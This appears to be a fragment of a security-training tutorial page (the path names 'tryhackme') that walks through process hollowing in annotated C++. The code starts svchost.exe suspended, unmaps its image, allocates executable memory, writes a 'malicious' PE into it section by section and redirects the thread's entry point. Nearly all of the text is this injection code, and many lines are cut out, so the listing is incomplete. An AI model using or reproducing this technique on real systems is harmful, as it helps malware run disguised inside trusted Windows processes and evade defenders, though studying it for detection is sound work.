<li>Target process which is in suspended state has to be created</li>
</ul>
<divclass="codehilite"><pre><span></span><code><spanclass="n">LPSTARTUPINFOA</span><spanclass="w"></span><spanclass="n">target_si</span><spanclass="w"></span><spanclass="o">=</span><spanclass="w"></span><spanclass="n">new</span><spanclass="w"></span><spanclass="n">STARTUPINFOA</span><spanclass="p">();</span><spanclass="w"></span><spanclass="c1">// Defines station, desktop, handles, and appearance of a process</span>
<spanclass="n">LPPROCESS_INFORMATION</span><spanclass="w"></span><spanclass="n">target_pi</span><spanclass="w"></span><spanclass="o">=</span><spanclass="w"></span><spanclass="n">new</span><spanclass="w"></span><spanclass="n">PROCESS_INFORMATION</span><spanclass="p">();</span><spanclass="w"></span><spanclass="c1">// Information about the process and primary thread</span>
<spanclass="w"></span><spanclass="p">(</span><spanclass="n">LPSTR</span><spanclass="p">)</span><spanclass="s">"C:</span><spanclass="se">\\\\</span><spanclass="s">Windows</span><spanclass="se">\\\\</span><spanclass="s">System32</span><spanclass="se">\\\\</span><spanclass="s">svchost.exe"</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Name of module to execute</span>
<spanclass="w"></span><spanclass="n">TRUE</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Handles are inherited from the calling process</span>
<spanclass="w"></span><spanclass="n">CREATE_SUSPENDED</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// New process is suspended</span>
<spanclass="w"></span><spanclass="n">target_si</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// pointer to startup info</span>
<spanclass="w"></span><spanclass="n">target_pi</span><spanclass="p">)</span><spanclass="w"></span><spanclass="o">==</span><spanclass="w"></span><spanclass="mi">0</span><spanclass="p">)</span><spanclass="w"></span><spanclass="p">{</span><spanclass="w"></span><spanclass="c1">// pointer to process information</span>
<spanclass="w"></span><spanclass="n">cout</span><spanclass="w"></span><spanclass="o"><<</span><spanclass="w"></span><spanclass="s">"[!] Failed to create Target process. Last Error: "</span><spanclass="w"></span><spanclass="o"><<</span><spanclass="w"></span><spanclass="n">GetLastError</span><spanclass="p">();</span><spanclass="w"></span>
<spanclass="w"></span><spanclass="p">(</span><spanclass="n">LPCSTR</span><spanclass="p">)</span><spanclass="s">"C:</span><spanclass="se">\\\\</span><spanclass="s">Users</span><spanclass="se">\\\\</span><spanclass="s">tryhackme</span><spanclass="se">\\\\</span><spanclass="s">malware.exe"</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Name of image</span>
<spanclass="w"></span><spanclass="n">OPEN_EXISTING</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Instructed to open a file or device if it exists</span>
<divclass="codehilite"><pre><span></span><code><spanclass="n">c</span><spanclass="p">.</span><spanclass="n">ContextFlags</span><spanclass="w"></span><spanclass="o">=</span><spanclass="w"></span><spanclass="n">CONTEXT_INTEGER</span><spanclass="p">;</span><spanclass="w"></span><spanclass="c1">// Only stores CPU registers in the pointer</span>
<spanclass="w"></span><spanclass="n">target_pi</span><spanclass="o">-></span><spanclass="n">hThread</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Handle to the thread obtained from the PROCESS_INFORMATION structure</span>
<spanclass="w"></span><spanclass="o">&</span><spanclass="n">c</span><spanclass="w"></span><spanclass="c1">// Pointer to store retrieved context</span>
<spanclass="p">);</span><spanclass="w"></span><spanclass="c1">// Obtains the current thread context</span>
<spanclass="w"></span><spanclass="n">target_pi</span><spanclass="o">-></span><spanclass="n">hProcess</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Handle for the process obtained from the PROCESS_INFORMATION structure</span>
<spanclass="w"></span><spanclass="p">(</span><spanclass="n">PVOID</span><spanclass="p">)(</span><spanclass="n">c</span><spanclass="p">.</span><spanclass="n">Ebx</span><spanclass="w"></span><spanclass="o">+</span><spanclass="w"></span><spanclass="mi">8</span><spanclass="p">),</span><spanclass="w"></span><spanclass="c1">// Pointer to the base address</span>
<spanclass="w"></span><spanclass="o">&</span><spanclass="n">pTargetImageBaseAddress</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Store target base address </span>
<spanclass="w"></span><spanclass="k">sizeof</span><spanclass="p">(</span><spanclass="n">PVOID</span><spanclass="p">),</span><spanclass="w"></span><spanclass="c1">// Bytes to read </span>
<spanclass="w"></span><spanclass="mi">0</span><spanclass="w"></span><spanclass="c1">// Number of bytes out</span>
<spanclass="p">);</span><spanclass="w"></span>
</code></pre></div>
<ul>
<li>Allocate and write into the memory unmapped</li>
<spanclass="w"></span><spanclass="n">hMaliciousCode</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Handle of malicious image</span>
<spanclass="w"></span><spanclass="mi">0</span><spanclass="w"></span><spanclass="c1">// Returns no error</span>
<divclass="codehilite"><pre><span></span><code><spanclass="n">DWORD</span><spanclass="w"></span><spanclass="n">numberOfBytesRead</span><spanclass="p">;</span><spanclass="w"></span><spanclass="c1">// Stores number of bytes read</span>
<spanclass="w"></span><spanclass="n">hMaliciousCode</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Handle of malicious image</span>
<spanclass="w"></span><spanclass="n">pMaliciousImage</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Allocated region of memory</span>
<spanclass="w"></span><spanclass="n">maliciousFileSize</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// File size of malicious image</span>
<spanclass="w"></span><spanclass="o">&</span><spanclass="n">numberOfBytesRead</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Number of bytes read</span>
<spanclass="w"></span><spanclass="n">cout</span><spanclass="w"></span><spanclass="o"><<</span><spanclass="w"></span><spanclass="s">"[!] Unable to read Malicious file into memory. Error: "</span><spanclass="w"></span><spanclass="o"><<</span><spanclass="n">GetLastError</span><spanclass="p">()</span><spanclass="o"><<</span><spanclass="w"></span><spanclass="n">endl</span><spanclass="p">;</span><spanclass="w"></span>
<divclass="codehilite"><pre><span></span><code><spanclass="n">HMODULE</span><spanclass="w"></span><spanclass="n">hNtdllBase</span><spanclass="w"></span><spanclass="o">=</span><spanclass="w"></span><spanclass="n">GetModuleHandleA</span><spanclass="p">(</span><spanclass="s">"ntdll.dll"</span><spanclass="p">);</span><spanclass="w"></span><spanclass="c1">// Obtains the handle for ntdll</span>
<spanclass="w"></span><spanclass="n">target_pi</span><spanclass="o">-></span><spanclass="n">hProcess</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Handle of the process obtained from the PROCESS_INFORMATION structure</span>
<spanclass="w"></span><spanclass="n">pTargetImageBaseAddress</span><spanclass="w"></span><spanclass="c1">// Base address of the process</span>
<spanclass="p">);</span><spanclass="w"></span>
</code></pre></div>
<ul>
<li>Allocate memory for the target process</li>
</ul>
<divclass="codehilite"><pre><span></span><code><spanclass="n">PIMAGE_DOS_HEADER</span><spanclass="w"></span><spanclass="n">pDOSHeader</span><spanclass="w"></span><spanclass="o">=</span><spanclass="w"></span><spanclass="p">(</span><spanclass="n">PIMAGE_DOS_HEADER</span><spanclass="p">)</span><spanclass="n">pMaliciousImage</span><spanclass="p">;</span><spanclass="w"></span><spanclass="c1">// Obtains the DOS header from the malicious image</span>
<spanclass="n">PIMAGE_NT_HEADERS</span><spanclass="w"></span><spanclass="n">pNTHeaders</span><spanclass="w"></span><spanclass="o">=</span><spanclass="w"></span><spanclass="p">(</span><spanclass="n">PIMAGE_NT_HEADERS</span><spanclass="p">)((</span><spanclass="n">LPBYTE</span><spanclass="p">)</span><spanclass="n">pMaliciousImage</span><spanclass="w"></span><spanclass="o">+</span><spanclass="w"></span><spanclass="n">pDOSHeader</span><spanclass="o">-></span><spanclass="n">e_lfanew</span><spanclass="p">);</span><spanclass="w"></span><spanclass="c1">// Obtains the NT header from e_lfanew</span>
<spanclass="n">DWORD</span><spanclass="w"></span><spanclass="n">sizeOfMaliciousImage</span><spanclass="w"></span><spanclass="o">=</span><spanclass="w"></span><spanclass="n">pNTHeaders</span><spanclass="o">-></span><spanclass="n">OptionalHeader</span><spanclass="p">.</span><spanclass="n">SizeOfImage</span><spanclass="p">;</span><spanclass="w"></span><spanclass="c1">// Obtains the size of the optional header from the NT header structure</span>
<spanclass="w"></span><spanclass="n">target_pi</span><spanclass="o">-></span><spanclass="n">hProcess</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Handle of the process obtained from the PROCESS_INFORMATION structure</span>
<spanclass="w"></span><spanclass="n">pTargetImageBaseAddress</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Base address of the process</span>
<spanclass="w"></span><spanclass="n">sizeOfMaliciousImage</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Byte size obtained from optional header</span>
<spanclass="w"></span><spanclass="mh">0x3000</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)</span>
<spanclass="w"></span><spanclass="mh">0x40</span><spanclass="w"></span><spanclass="c1">// Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)</span>
<spanclass="w"></span><spanclass="n">target_pi</span><spanclass="o">-></span><spanclass="n">hProcess</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Handle of the process obtained from the PROCESS_INFORMATION structure</span>
<spanclass="w"></span><spanclass="n">pTargetImageBaseAddress</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Base address of the process</span>
<spanclass="w"></span><spanclass="n">pMaliciousImage</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Local memory where the malicious file resides</span>
<spanclass="w"></span><spanclass="n">pNTHeaders</span><spanclass="o">-></span><spanclass="n">OptionalHeader</span><spanclass="p">.</span><spanclass="n">SizeOfHeaders</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Byte size of PE headers </span>
<divclass="codehilite"><pre><span></span><code><spanclass="k">for</span><spanclass="w"></span><spanclass="p">(</span><spanclass="kt">int</span><spanclass="w"></span><spanclass="n">i</span><spanclass="w"></span><spanclass="o">=</span><spanclass="w"></span><spanclass="mi">0</span><spanclass="p">;</span><spanclass="w"></span><spanclass="n">i</span><spanclass="w"></span><spanclass="o"><</span><spanclass="w"></span><spanclass="n">pNTHeaders</span><spanclass="o">-></span><spanclass="n">FileHeader</span><spanclass="p">.</span><spanclass="n">NumberOfSections</span><spanclass="p">;</span><spanclass="w"></span><spanclass="n">i</span><spanclass="o">++</span><spanclass="p">)</span><spanclass="w"></span><spanclass="p">{</span><spanclass="w"></span><spanclass="c1">// Loop based on number of sections in PE data</span>
<spanclass="w"></span><spanclass="n">PIMAGE_SECTION_HEADER</span><spanclass="w"></span><spanclass="n">pSectionHeader</span><spanclass="w"></span><spanclass="o">=</span><spanclass="w"></span><spanclass="p">(</span><spanclass="n">PIMAGE_SECTION_HEADER</span><spanclass="p">)((</span><spanclass="n">LPBYTE</span><spanclass="p">)</span><spanclass="n">pMaliciousImage</span><spanclass="w"></span><spanclass="o">+</span><spanclass="w"></span><spanclass="n">pDOSHeader</span><spanclass="o">-></span><spanclass="n">e_lfanew</span><spanclass="w"></span><spanclass="o">+</span><spanclass="w"></span><spanclass="k">sizeof</span><spanclass="p">(</span><spanclass="n">IMAGE_NT_HEADERS</span><spanclass="p">)</span><spanclass="w"></span><spanclass="o">+</span><spanclass="w"></span><spanclass="p">(</span><spanclass="n">i</span><spanclass="w"></span><spanclass="o">*</span><spanclass="w"></span><spanclass="k">sizeof</span><spanclass="p">(</span><spanclass="n">IMAGE_SECTION_HEADER</span><spanclass="p">)));</span><spanclass="w"></span><spanclass="c1">// Determines the current PE section header</span>
<spanclass="w"></span><spanclass="n">target_pi</span><spanclass="o">-></span><spanclass="n">hProcess</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Handle of the process obtained from the PROCESS_INFORMATION structure</span>
<spanclass="w"></span><spanclass="p">(</span><spanclass="n">PVOID</span><spanclass="p">)((</span><spanclass="n">LPBYTE</span><spanclass="p">)</span><spanclass="n">pHollowAddress</span><spanclass="w"></span><spanclass="o">+</span><spanclass="w"></span><spanclass="n">pSectionHeader</span><spanclass="o">-></span><spanclass="n">VirtualAddress</span><spanclass="p">),</span><spanclass="w"></span><spanclass="c1">// Base address of current section </span>
<spanclass="w"></span><spanclass="p">(</span><spanclass="n">PVOID</span><spanclass="p">)((</span><spanclass="n">LPBYTE</span><spanclass="p">)</span><spanclass="n">pMaliciousImage</span><spanclass="w"></span><spanclass="o">+</span><spanclass="w"></span><spanclass="n">pSectionHeader</span><spanclass="o">-></span><spanclass="n">PointerToRawData</span><spanclass="p">),</span><spanclass="w"></span><spanclass="c1">// Pointer for content of current section</span>
<spanclass="w"></span><spanclass="n">pSectionHeader</span><spanclass="o">-></span><spanclass="n">SizeOfRawData</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Byte size of current section</span>
<divclass="codehilite"><pre><span></span><code><spanclass="n">c</span><spanclass="p">.</span><spanclass="n">Eax</span><spanclass="w"></span><spanclass="o">=</span><spanclass="w"></span><spanclass="p">(</span><spanclass="n">SIZE_T</span><spanclass="p">)((</span><spanclass="n">LPBYTE</span><spanclass="p">)</span><spanclass="n">pHollowAddress</span><spanclass="w"></span><spanclass="o">+</span><spanclass="w"></span><spanclass="n">pNTHeaders</span><spanclass="o">-></span><spanclass="n">OptionalHeader</span><spanclass="p">.</span><spanclass="n">AddressOfEntryPoint</span><spanclass="p">);</span><spanclass="w"></span><spanclass="c1">// Set the context structure pointer to the entry point from the PE optional header</span>
<spanclass="w"></span><spanclass="n">target_pi</span><spanclass="o">-></span><spanclass="n">hThread</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Handle to the thread obtained from the PROCESS_INFORMATION structure</span>
<spanclass="w"></span><spanclass="o">&</span><spanclass="n">c</span><spanclass="w"></span><spanclass="c1">// Pointer to the stored context structure</span>
<spanclass="w"></span><spanclass="n">target_pi</span><spanclass="o">-></span><spanclass="n">hThread</span><spanclass="w"></span><spanclass="c1">// Handle to the thread obtained from the PROCESS_INFORMATION structure</span>
